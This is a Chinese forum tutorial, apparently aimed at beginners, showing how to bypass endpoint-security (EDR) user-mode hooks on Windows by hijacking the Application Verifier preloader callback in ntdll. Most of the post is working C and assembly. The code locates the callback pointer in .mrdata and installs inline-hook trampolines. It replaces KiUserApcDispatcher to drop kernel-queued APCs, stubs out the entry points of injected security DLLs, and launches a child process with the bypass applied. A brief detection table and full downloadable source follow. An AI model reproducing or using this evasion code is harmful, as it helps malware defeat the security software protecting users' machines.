本帖最后由 ClumsyBear 于 2026-6-19 14:27 编辑
[新手向] 通过 Preloader 技术在进程初始化阶段绕过用户态 Hook
在 Windows 平台上,大多数终端安全产品通过用户态 Inline Hook 来拦截敏感的系统调用。它们的做法是修改 ntdll.dll 中 syscall stub 的开头几个字节,将 mov r10, rcx; mov eax, SSN 替换为一条 jmp 指令,跳转到自身的检测引擎中进行分析,然后再决定是否放行。[C] 纯文本查看 复制代码
; ntdll.dll 正常 syscall stub 前缀
4C 8B D1 mov r10, rcx
B8 ?? ?? ?? ?? mov eax, <syscall_number>
; 被安全软件 Hook 后
E9 ?? ?? ?? ?? jmp <hook_handler>
这种 Hook 在进程创建之初就通过 LdrInitializeThunk 中的 DLL 加载顺序生效——安全软件的 DLL 往往早于 kernel32.dll 被注入,因此它们可以在用户代码执行之前就完成 Hook 部署。
然而,这也留下了一个时间窗口:如果我们能在 DLL 初始化之前介入加载流程,就能在安全软件的 Hook 尚未部署时将其"废掉"。
本文介绍一种基于 Application Verifier Preloader 回调的绕过方案,在所有用户态 Hook 生效之前取得控制权。
杀软查杀过程- 拦截你的 VirtualAlloc 调用
- 检查你要分配的内存是否可疑
- 扫描写入的内容是不是恶意代码
- 发现不对劲就报警或阻止
杀软的应用层核心手段:User-Mode Hook
Windows 中所有系统调用都要经过 ntdll.dll 这个"传达室":
你的程序 → kernel32!VirtualAlloc → ntdll!NtAllocateVirtualMemory → 内核
会在 ntdll 函数开头修改指令,把正常代码改成跳转:原来: mov r10, rcx ; 正常 syscall 前缀 mov eax, 0x18 ; 系统调用号 syscall被 Hook 后: jmp EdrCheckFunc ; 先跳到 EDR 检查 ... ; 原始指令被覆盖
这样每次程序调用系统函数,都先经过软件的检查。这就是被杀软监控后程序变慢的原因。
杀软是怎么把 hook 装上去的呢?它得等进程启动后,把自己的 DLL 注入进去,然后才能修改 ntdll 的代码。
在进程刚开始、EDR还没注入的那一瞬间,这个进程是"干净的"。
这就是我们要抓住的机会。
核心突破点
进程是怎么出生的?
Windows 创建进程的过程大致是:
关键时间窗口:步骤 3 刚开始时,只有 ntdll.dll 加载了,EDR 的 DLL 还没注入。这时候如果能执行一段代码,就可以在 EDR 安装 hook 之前把它的路堵死。原理正常流程: 加载器 → 加载 kernel32.dll → EDR 注入 → EDR 装 Hook → 程序开始执行我们的流程: 加载器 → 触发我们的回调 → 堵死 EDR 的注入路径 → 等 EDR 来时已经晚了
我们看被hook的函数(由于作者的电脑的局限性,所以作者模拟了一个跳转过程,大家见谅)
执行后
我们可以看到,被hook的函数会跳到杀软内部执行检查,我们通过创建子进程,然后注入阉割的模块,实现绕过杀软。 攻击链全景
细节(重要)
下面我们按代码的六大模块,逐一拆解每个技术点。SafeRuntime:为什么不能用标准库?[C] 纯文本查看 复制代码
size_t SafeStrLen(const char* str)
{
size_t i = 0;
while (str[i]) i++;
return i;
}
void SafeMemCpy(void* dest, const void* src, size_t len)
{
unsigned char* d = (unsigned char*)dest;
const unsigned char* s = (const unsigned char*)src;
while (len--) *d++ = *s++;
}
在加载器回调执行时,VC Runtime 还没初始化。调用 strlen、memcpy 会崩溃。所以必须自己实现这些最基本的内存操作,且不依赖任何外部符号。PE 解析:找到藏起来的回调地址定位 .mrdata 节
每个 PE 文件(exe / dll)都有一个节表,列出了各节的名称、位置和大小。我们遍历节表,找到名为 .mrdata 的节:[C] 纯文本查看 复制代码
ULONG_PTR PeGetSectionBase(ULONG_PTR base, const char* name)
{
IMAGE_DOS_HEADER* dos = (IMAGE_DOS_HEADER*)base;
IMAGE_NT_HEADERS* nt = (IMAGE_NT_HEADERS*)(base + dos->e_lfanew);
IMAGE_SECTION_HEADER* sec = (IMAGE_SECTION_HEADER*)((ULONG_PTR)nt + sizeof(IMAGE_NT_HEADERS));
WORD count = nt->FileHeader.NumberOfSections;
for (WORD i = 0; i < count; i++)
if (SafeMemCmp(name, sec[i].Name, SafeStrLen(name)) == 0)
return base + sec[i].VirtualAddress;
return 0;
}
PE 文件内存布局:
+0x00 [某全局变量]
+0x08 [某全局变量]
...
+N [LdrpMrdataBase] = &mrdata ← 值等于自身基址的指针
+N+8 [AvrfpCallbacksEnabled] = FALSE ← 1 字节 + 7 字节 padding
+N+16 [AvrfpCallbackRoutine] = NULL ← 我们要找的
[/mw_shl_code]
扫描算法:- 遍历 .mrdata 每 8 字节,找值为 mrdataBase 的指针 → 这就是 LdrpMrdataBase
- 从 LdrpMrdataBase 往后找第一个 NULL 指针 → 这就是 AvrfpAPILookupCallbackRoutine
[C] 纯文本查看 复制代码
ULONG_PTR FindAvrfpAddress(ULONG_PTR mrdataBase, ULONG_PTR mrdataSize)
{
ULONG_PTR* ptr = (ULONG_PTR*)mrdataBase;
ULONG_PTR ldrpMrdata = 0;
//1: 扫描找到 LdrpMrdataBase
for (ULONG_PTR i = 0; i < mrdataSize / sizeof(ULONG_PTR); i++, ptr++)
{
if (*ptr == mrdataBase) { ldrpMrdata = (ULONG_PTR)ptr; break; }
}
if (!ldrpMrdata) return 0;
//2: 往后找第一个 NULL 指针
ptr = (ULONG_PTR*)ldrpMrdata;
for (int i = 0; i < 10; i++, ptr++)
{
if (*ptr == 0) return (ULONG_PTR)ptr;
}
return 0;
}
内联 Hook:如何劫持一个函数?
内联 Hook 的原理很简单——在目标函数开头写入一条跳转指令,把执行流重定向到我们的函数。
但这有个 tricky 的地方:x64 指令是变长的(1 到 15 字节),不能随便找个位置截断!
绝对跳转
我们使用 12 字节的绝对跳转:48 B8 XX XX XX XX XX XX XX XX mov rax, <64位地址>FF E0 jmp rax
为什么不用更短的 E9 XX XX XX XX(5 字节)?因为 x64 用户态地址跨度太大,相对跳转的 正负2GB 范围不够可靠。
跳板 (Trampoline)
被覆盖的原始指令不能丢——我们的 hook 函数可能需要调用原始功能。所以要把它们保存到一个"跳板"里:
反汇编确定截断位置
我们用 HDE64 反汇编引擎逐条分析指令,累计到 ≥ 12 字节:[C] 纯文本查看 复制代码
SIZE_T total = 0;
BYTE* ip = (BYTE*)target;
while (total < HOOK_SIZE)
{
hde64s hs;
SIZE_T len = hde64_disasm(&ip[total], &hs);
if (len == 0 || (hs.flags & F_ERROR)) return; // 反汇编失败就放弃
total += len;
}
系统指针编码
ntdll 内部指针是加密存储的(防漏洞利用):[C] 纯文本查看 复制代码 encoded = ROTR64(Cookie XOR pointer, Cookie & 0x3F)
Cookie 位于 SharedUserData!Cookie(固定地址 0x7FFE0330),所有进程共享。
因为我们在系统上运行,可以直接读取 Cookie:[C] 纯文本查看 复制代码
LPVOID EncodeSysPtr(LPVOID ptr)
{
ULONG cookie = *(ULONG*)0x7FFE0330;
return (LPVOID)_rotr64(cookie ^ (ULONGLONG)ptr, cookie & 0x3F);
}
_rotr64 是 MSVC 的 x64 内联函数,对应 ROR 指令。APC 拦截:掐断 EDR 的"对讲机"
EDR 通常有两部分:内核驱动 + 用户态 DLL。
即使我们阻止了用户态 DLL 加载,内核驱动仍能通过 APC(异步过程调用) 向进程注入代码。
KiUserApcDispatcher 是用户态 APC 的入口。我们把它替换成自己的实现——直接调用 NtContinue() 恢复线程,跳过所有排队的 APC:[C] 纯文本查看 复制代码
KiUserApcDispatcher PROC
push rcx ; 保存 CONTEXT*
push rdx ; 保存参数
push r8
push r9
call GetNtContinue ; 获取 NtContinue 地址
pop r9
pop r8
pop rdx
pop rcx ; 恢复 CONTEXT*
xor edx, edx ; RaiseAlert = FALSE
jmp rax ; 跳到 NtContinue, 不返回
KiUserApcDispatcher ENDPKiUserApcDispatcher PROC
push rcx ; 保存 CONTEXT*
push rdx ; 保存参数
push r8
push r9
call GetNtContinue ; 获取 NtContinue 地址
pop r9
pop r8
pop rdx
pop rcx ; 恢复 CONTEXT*
xor edx, edx ; RaiseAlert = FALSE
jmp rax ; 跳到 NtContinue, 不返回
KiUserApcDispatcher ENDP
模块入口点替换(EdrParadise)
有些 EDR 通过 PsSetLoadImageNotifyRoutine(内核回调)在进程创建瞬间就注入 DLL。这些 DLL 可能在我们的回调触发前已经被映射了。
对策:遍历 PEB 的模块链表,把非系统模块的入口点替换为无害函数:[C] 纯文本查看 复制代码
static DWORD WINAPI EdrParadise(void)
{
return ERROR_TOO_MANY_SECRETS; //什么也不做
}
static void DisablePreloadedEdrModules(void)
{
PEB* peb = NtCurrentTeb()->ProcessEnvironmentBlock;
LIST_ENTRY* head = &peb->Ldr->InMemoryOrderModuleList;
LIST_ENTRY* entry = head->Flink->Flink; //跳过 exe 和 ntdll
while (entry != head)
{
PLDR_DATA_TABLE_ENTRY2 mod = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY2, InMemoryOrderLinks);
// 保留系统模块,其他的都是 EDR
if (SafeWcsICmp(mod->BaseDllName.Buffer, L"ntdll.dll") != 0 &&
SafeWcsICmp(mod->BaseDllName.Buffer, L"kernel32.dll") != 0 &&
SafeWcsICmp(mod->BaseDllName.Buffer, L"kernelbase.dll") != 0)
{
mod->EntryPoint = EdrParadise; //入口点→无害函数
}
entry = entry->Flink;
}
}
CONTAINING_RECORD 是个很有用的宏——根据成员指针反推出结构体指针。这里我们从 LIST_ENTRY 反推出包含它的 LDR_DATA_TABLE_ENTRY2。 关键代码:父子进程
主函数 main() 用了一个巧妙的设计——同一份代码运行两次,但走不同的分支:[C] 纯文本查看 复制代码
int main(int argc, char* argv[])
{
if (g_PtrTable.LdrLoadDll == 0)
{
//父进程
printf("EDR-Preloader - Parent Process\n");
CheckForHooks(); //看看现在有没有 EDR hook
EDRPreloader(argv[0]); //启动子进程并注入
}
else
{
//子进程
printf("EDR-Preloader - Child Process\n");
printf("Callback should have executed in LdrpInitializeProcess().\n");
CheckForHooks(); //验证 EDR hook 已被绕过
}
}
判断依据:g_PtrTable 是个全局变量。父进程初始化它为 0,子进程启动时已被父进程通过 WriteProcessMemory 写入,所以 LdrLoadDll 成员不为 0。
怎么区分父子进程: 靠一个巧妙的标记:g_PtrTable.LdrLoadDll。全局变量初始值为 0,父进程启动时它就是 0。父进程通过 WriteProcessMemory 把它改成非 0 写入子进程,所以子进程醒来时看到的就不是 0 了。回调函数[C] 纯文本查看 复制代码
LPVOID WINAPI LdrGetProcedureAddressCallback(
LPVOID dllBase, LPVOID caller, LPVOID funcAddr)
{
static BOOL done = FALSE;
if (!done)//只执行一次!
{
done = TRUE;
DisablePreloadedEdrModules(); //阉割已注入的 EDR
HookInstall(g_PtrTable.LdrLoadDll,
LdrLoadDllHook, ...); //Hook DLL 加载
HookInstall(g_PtrTable.KiUserApcDispatcher,
KiUserApcDispatcher, //拦截 APC
NULL);
}
return funcAddr; //正常返回,不干扰加载器
}
这里有两个关键细节:
static BOOL done — 这个回调会被调用多次(每次解析导入函数都触发一次),但我们只想在第一次时做手脚。之后正常返回即可。
return funcAddr — 这是一个正常的回调,不是恶意篡改。我们返回原始的函数地址,让加载器继续正常工作。我们只是在回调过程中"顺便"装了几个 hook。
预期结果
父进程:
我们选择了三个在几乎所有主流杀软中都会被 hook的函数========== Hook Detection ========== NtSetContextThread HOOKED ← EDR 的 hook! NtAllocateVirtualMemory HOOKED NtMapViewOfSection HOOKED=====================================.mrdata: base=0x00007FFEEED86000, size=0x35a8Child PID=12345, hProcess=0xC4Bypass injected. Resuming child...Done. Child is running with EDR bypassed.
子进程(绕过成功):
file://C:%5CUsers%5Cyouxing%5CAppData%5CRoaming%5Cmarktext%5Cimages%5C2026-06-17-15-38-49-a53c1652ee760a7c64789549a5f18d13.png?msec=1781788476745 怎么检测这种攻击?
站在防守方角度,可以用以下手段检测:[td]| 检测方法 | 原理 | | 监控 .mrdata 完整性 | 校验 AvrfpAPILookupCallbacksEnabled 是否为 FALSE | | 检测 KiUserApcDispatcher Hook | 比较前 12 字节是否被修改 | | 拦截 WriteProcessMemory | 内核回调阻止对 ntdll 内存段的写入 | | 校验模块 EntryPoint | 遍历 PEB 链表检查各 DLL 入口点是否异常 | | Syscall 来源校验 | 验证 syscall 确实来自 ntdll 而非跳板 |
这个技术最根本的弱点:必须对 ntdll.dll 的 .mrdata 段进行写入。如果防御方用内核驱动保护了这些关键内存区域,攻击就无法进行。
参考资料- Maldev Academy — EDR Preloader(原始技术来源)
- https://maldevacademy.com
- HDE64 — Hacker Disassembler Engine
- https://github.com/arthaud/hde64
- ReactOS `dll/ntdll/ldr/ldrinit.c
- https://github.com/reactos/reactos/blob/master/dll/ntdll/ldr/ldrinit.c
完整代码以及示例(免责声明:本内容仅供个人学习、技术研究、安全测试使用,严禁用于任何商业用途、非法活动或侵犯他人合法权益的场景。任何未经授权的扩散、修改、逆向工程或用于攻击行为,均由使用者自行承担全部法律责任)
Preloader.txt
(10.49 KB, 下载次数: 9)
不知道为啥,不能上传压缩文件了,(请将后缀.txt改为.zip就可以正常解压看源代码了)
|